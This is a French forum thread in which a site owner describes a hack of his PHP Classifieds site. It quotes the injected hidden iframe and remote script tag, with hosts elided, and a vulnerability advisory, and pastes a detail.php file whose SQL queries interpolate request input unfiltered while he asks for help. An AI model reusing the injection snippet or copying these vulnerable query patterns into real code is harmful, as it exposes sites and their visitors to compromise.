Aller au contenu

Sujets conseillés

Posté

Bonjour

Mon site à été piraté :mad2:

Le hacker est passé par .../admin/config/templates_news/

et là il injecte une ligne de commande (<div id="stats" style="visibility:hidden;" width='1' height='1'><iframe src =&quot;http://www......com" frameborder='0' height='1' width='1'></iframe></div> <script type="text/javascript" src=&quot;http://...."></script>)

J'ais beau supprimé cette ligne, mon site est toujour redirigé sur un autre site !

J'ais beau cherché dans d'autre fichiers je ne retrouve pas cette ligne autre part, qu'a t'il put faire d'autre ? ou comment procéder

Comme je n'ais absolument pas de connaissance dans ce domaine j'aurais besoin d'aide.

Merci

Posté

Bonjour,

Regarde dans le .htaccess, c'est un autre endroit où il peut y avoir une redirection. Sinon, on aura du mal à t'aider, sans l'adresse de ton site... S'il redirige vers un site dangereux ou interdit par les lois françaises, ne donne l'adresse qu'en privé.

Tu as bien uploadé la page corrigée sur ton serveur ? Ie sans la ligne avec l'iframe ?

Bloque le javascript sur ton navigateur et va sur ton site pour lire le code source et trouver un problème.

Posté

Salut

Je crois que j'ais trouvé la solution

En supprimant la ligne et en vidant le cache de .../admin/config/cache cela fonctionne

Merci

Posté

Oui mais cela ne suffit pas, tu dois absolument déterminer la faille de sécurité qu'il a utiliser pour la combler, sinon il y a des chances qu'il recommence

Posté

Salut

Tu avais raison Doudou il n'a pas tardé à recommencer.

J'ai corrigé une faille de sécurité connu pour ce script, mais malheuresement c'est pas celle là.

En plus j'ais essayé d'installer la nouvelle version du script et d'importer mes annonces mais ça ne marche pas ( il y a des fichiers dans la derniére version qui ne sont pas dans l'ancienne! Et j'ais plus de 10000 annonces que je ne voudrais pas perdre.

Posté

J'ais cru lire quelque part qu'il était possible de voir où il était passé avec les logs ? quelqu'un pourrait il m'expliquer.

Autre chose j'ais trouvé ceci:

Description :

ajann a découvert une vulnérabilité dans PHP Classifieds, qui pourrait être exploitée par des personnes malintentionnées pour conduire des attaques SQL.

L'entrée passée au paramètre "user_id" dans detail.php n'est pas correctement filtrée avant d'être utilisée dans une requête SQL. Cela pourrait être exploité pour manipuler les interrogations SQL en injectant du code SQL arbitraire.

La vulnérabilité est confirmée en version 7.1b. Les autres versions pourraient également être affectées.

Solutions :

Editez le code source pour s'assurer que l'entrée est correctement filtrée.

Voici mon detail php et comment filtrée l'entrée. Merci

CODE
<?

$lSearchEngineArray=array("Google", "Fast", "Slurp", "Ink", "Atomz", "Scooter", "Crawler", "MSNbot", "Poodle", "Genius");

$lIsSearchE=0;

foreach($lSearchEngineArray as $key => $val)

if(strstr($_SERVER['HTTP_USER_AGENT'], $val))

$lIsSearchE++;

if($lIsSearchE==0)

session_start();

include_once("admin/inc.php");

$ad_id=round(getParam("id",""));

$lPrint=getParam("print","");

// If setting is not set, use these defaults...

if (!$set_outer_color) { $set_outer_color = "#A9B8D1"; }

if (!$set_inner_color) { $set_inner_color = "#FFFFFF"; }

if (!$set_descr_color) { $set_descr_color = "#FFFFFF"; }

if (!isset($set_descr_cell)) { $set_descr_cell = 10; }

if (isset($preview)) { $ad_id = $preview; $validation = 0; }

if (!$ad_id)

criticalError(LA_ERROR,LA_ERROR_NO_ID);

if ($validation == 1 && getParam("preview","")=="") { $val_string = " AND ad_is_validated = 1"; } else { $val_string = ""; }

$sql_links = "select * from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND user_id=ad_owner AND ad_id=$ad_id $val_string";

$result_from_ad = q($sql_links);

$row_from_ad=mysql_fetch_array($result_from_ad);

if (mysql_num_rows($result_from_ad) == 0)

criticalError(LA_AD_REMOVED_CAPTION,formatString(LA_AD_REMOVED_CONTENT,array(&quot;http://$url")));

$sitetitle = $row_from_ad["ad_title"];

$ad_description = $row_from_ad["ad_description"];

$userid = $row_from_ad["user_id"];

$ad_date = $row_from_ad["ad_date"];

$ad_views = $row_from_ad["ad_views"];

$ad_votes = $row_from_ad["ad_votes"];

$ad_voters = $row_from_ad["ad_voters"];

$ad_totalscore = $row_from_ad["ad_totalscore"];

$votes = $row_from_ad["user_votes"];

$voters = $row_from_ad["user_voters"];

$name = $row_from_ad["user_name"];

$email = $row_from_ad["user_email"];

$catname = $row_from_ad["cat_name"];

$catid = $row_from_ad["cat_id"];

$vendor_url = $row_from_ad["user_vendor_url"];

$vendor_homepage = $row_from_ad["user_vendor_homepage"];

$sold = $row_from_ad["ad_is_sold"];

$cattpl = $row_from_ad["cat_tpl"];

$datestamp = $row_from_ad["ad_date"];

$ad_has_picture = $row_from_ad["ad_has_picture"];

$is_vendor = $row_from_ad["user_is_vendor"];

$hide_email = $row_from_ad["user_hide_email"];

$img_stored = $row_from_ad["img_stored"];

$user_id = $row_from_ad["user_id"];

$expire_days = $row_from_ad["ad_expires_after_days"];

$ad_expires=formatDateShort($row_from_ad["ad_date_expire"]);

$timestamp_expire_date=$row_from_ad["ad_date_expire"];

$ad_added=formatDateShort($row_from_ad["ad_date"]);

$pagename= $sitename . " - " . $sitetitle;

$meta_desc=htmlspecialchars(dotString($ad_description,150));

if (empty($lPrint))

include_once("header_inc.php");

else

{

include ($full_path_to_public_program . "/admin/classes/TplLoad.php");

echo "<script language='javascript'>window.print()</script>";

echo "<p><a href='detail.php?id=$ad_id'><h2>$la_p</h2></a></p>";

}

$tplDetail=new TplLoad;

$tplDetail->assign("isLoggedIn",$_SESSION["valid_user"]);

$tplDetail->assign("set_outer_color",$set_outer_color);

$tplDetail->assign("set_inner_color",$set_inner_color);

$tplDetail->assign("set_descr_color",$set_descr_color);

$tplDetail->assign("set_descr_cell",$set_descr_cell);

$tplDetail->assign("id_ad","$ad_id");

$tplDetail->assign("ad_id","$ad_id");

$tplDetail->assign("ad_title","$sitetitle");

$tplDetail->assign("ad_added","$ad_added");

$tplDetail->assign("ad_hits","$ad_views");

$tplDetail->assign("ad_expire","$ad_expires");

$tplDetail->assign("ad_catid","$catid");

$tplDetail->assign("ad_username","$name");

$tplDetail->assign("ad_email","$email");

$tplDetail->assign("banner","$lBanner");

if ($set_nl2br)

$ad_description=nl2br($ad_description);

$tplDetail->assign("ad_description","$ad_description");

$tplDetail->assign("user_id","$user_id");

$tplDetail->assign("num_days",getHowManyDaysRemains($timestamp_expire_date,time()));

$tplDetail->assign("LA_REMOVE_FAV",urldecode(LA_REMOVE_FAV));

$tplDetail->assign("LA_ADD_FAV",urldecode(LA_ADD_FAV));

$tplDetail->assign("set_image_program",$set_image_program);

// Print out linked title

writeLinkedTitle(getCategoryId($ad_id));

if ($set_detail_login_need==1)

check_valid_user("");

if ($hide_email==1)

$tplDetail->assign("hide_email",1);

else

$tplDetail->assign("email","$email");

// Member Rating

if ($set_vote_on_member)

$tplDetail->assign("rate_member",$set_vote_on_member);

if ($set_ratemem_login_need)

$tplDetail->assign("rate_member_requires_login","$set_ratemem_login_need");

if ($voters > 0)

$votes = round($votes/$voters, 1);

else {

$votes=0;

$voters=0;

}

$tplDetail->assign("sold","$sold");

$tplDetail->assign("ad_member_votes","$votes");

$tplDetail->assign("ad_member_voters","$voters");

// Ad Rating

if ($set_rate)

$tplDetail->assign("rate_ad","$set_rate");

if ($set_rate_ad_require_member)

$tplDetail->assign("rate_ad_requires_login","$set_rate_ad_require_member");

// Get image rating

$lStr=getStarRating($ad_totalscore);

$tplDetail->assign("ad_vote_img_result","$lStr");

$tplDetail->assign("ad_ad_votes","$ad_votes");

$tplDetail->assign("ad_ad_voters","$ad_voters");

$tplDetail->assign("ad_totalscore","$ad_totalscore");

// Code for prev next result

if ($sold == 1)

$tplDetail->assign("isSold",1);

if ($vendor_url AND $set_vendor AND $is_vendor)

$tplDetail->assign("vendor","<a href='$vendor_homepage' target='new'><img src='$vendor_url' border='0'></a>");

$sql_prevad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id < $ad_id AND cat_id = $catid $val_string order by ad_id desc limit 1";

$result_prevad_id = q($sql_prevad_id);

$row_prev = mysql_fetch_array($result_prevad_id);

$prevad_id = $row_prev["ad_id"];

$sql_nextad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id > $ad_id AND cat_id = $catid $val_string order by ad_id asc limit 1";

$result_nextad_id = q($sql_nextad_id);

$row_next = mysql_fetch_array($result_nextad_id);

$nextad_id = $row_next["ad_id"];

// PREV NEXT AD

if ($prevad_id)

{

$str_nav.="<a href='detail.php?id=$prevad_id&catid=$catid'>";

$str_nav.="<img src='layout_images/arrow-back.gif' border='0' alt='' /> ".LA_P."</a>";

$tplDetail->assign("prev_link","detail.php?id=$prevad_id&catid=$catid");

}

$str_nav.="   ";

if ($nextad_id)

{

$str_nav.="<a href='detail.php?id=$nextad_id&catid=$catid'>";

$str_nav.=LA_N . " <img src='layout_images/arrow-forw.gif' border='0' alt='' /></a>";

$tplDetail->assign("next_link","detail.php?id=$nextad_id&catid=$catid");

}

$tplDetail->assign("navigation","$str_nav");

if (getParam("contact",""))

include "contact.php";

if (getParam("tellafriend",""))

include "tellafriend.php";

//print_r($row_from_ad);

$lQuestions=getDbValuesBasedOnQuestions($cattpl,1,$row_from_ad,$set_seperator);

$tplDetail->assign("ads",$lQuestions[$ad_id]);

$lQuestions=getDbValuesBasedOnQuestions($cattpl,2,$row_from_ad,$set_seperator);

$tplDetail->assign("users",$lQuestions[$ad_id]);

if ($set_favourites AND isset($_SESSION["valid_user"]))

{

$sql = "select fid from $fav_tbl where f_adid=$ad_id AND f_user_id = ".$_SESSION["valid_user"];

$r = mysql_query($sql);

$number = mysql_num_rows($r);

if ($number)

$tplDetail->assign("fav_remove_link",1);

else

$tplDetail->assign("fav_add_link",1);

}

$query = "select * from $vid_tbl where video_adid=$ad_id";

$sql_result = q($query);

while ($row=mysql_fetch_array($sql_result))

{

$id = $row["video_id"];

$filename_stored = $row["video_file"];

$array = split("\.",$filename_stored);

$last=count($array)-1;

$ext=$array[$last];

$videoArray[$i]["file"]=$filename_stored;

$videoArray[$i]["id"]=$id;

$videoArray[$i]["ext"]=strtolower($ext);

$i++;

}

$tplDetail->assign("video_list",$videoArray);

$query = "select * from $doc_tbl where f_adid=$ad_id order by f_id desc";

$sql_result_doc = q ($query);

$i=0;

while ($row=mysql_fetch_array($sql_result_doc))

{

$id = $row["f_id"];

$filetype = $row["filetype"];

$filename = $row["f_file"];

$fArray[$i]["id"] = $id;

$fArray[$i]["name"] = $filename;

$lSize=filesize("images/docs/" . $filename);

$fArray[$i]["size"] = round($lSize/1024);

$lDisplay=ereg_replace($ad_id . "_","",$filename);

$fArray[$i]["display_name"] = $lDisplay;

$lExtArray=split("\.",$filename);

$lExt=end($lExtArray);

$fArray[$i]["ext"] = strtolower($lExt);

$i++;

}

$tplDetail->assign("doc_list", $fArray);

$query = "select id,filename from $pic_tbl where pic_ad_id=$ad_id";

$sql_result = q($query);

$num_ad_has_pictures = mysql_num_rows($sql_result);

for ($i=0; $i<$num_ad_has_pictures; $i++)

{

$row = mysql_fetch_array($sql_result);

$id = $row["id"];

$filename_stored = $row["filename"];

if ($set_image_program==0)

{

$lSizeArray=setImageSize($filename_stored,getManualSize("small"),0);

$imgArray[$i]["w"]=$lSizeArray[0];

$imgArray[$i]["h"]=$lSizeArray[1];

}

else

$filename_stored=ereg_replace("tmb2","tmb1",$filename_stored);

$imgArray[$i]["file"]=$filename_stored;

$imgArray[$i]["id"]=$id;

$imgArray[$i]["nr"]=$i;

}

if ($set_image_program==0)

$tplDetail->assign("image_max",getManualSize("small"));

$tplDetail->assign("image_list",$imgArray);

$tplDetail->assign("set_slideshow",$set_slideShow);

$tplDetail->assign("set_slideShow_sec",$set_slideShow_sec*1000);

$tplDetail->assign("set_slideShow_count_from",$set_slideShow_sec);

$tplDetail->assign("num_pictures",$num_ad_has_pictures);

$tplDetail->assign("show_still",getParam("show_still",""));

$s = "UPDATE $ads_tbl set ad_views=ad_views+1 where ad_id=$ad_id";

$result1=q($s);

$tplDetail->display("detail.tpl");

if (empty($lPrint))

include_once("footer_inc.php");

else

echo formatString("<center>".LA_PRINT_CLEAN."</center>", array(formatDate(date("Ymd")),date("H:m"),&quot;http://$url/detail.php?id=$ad_id"));

?>

  • 2 semaines plus tard...

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...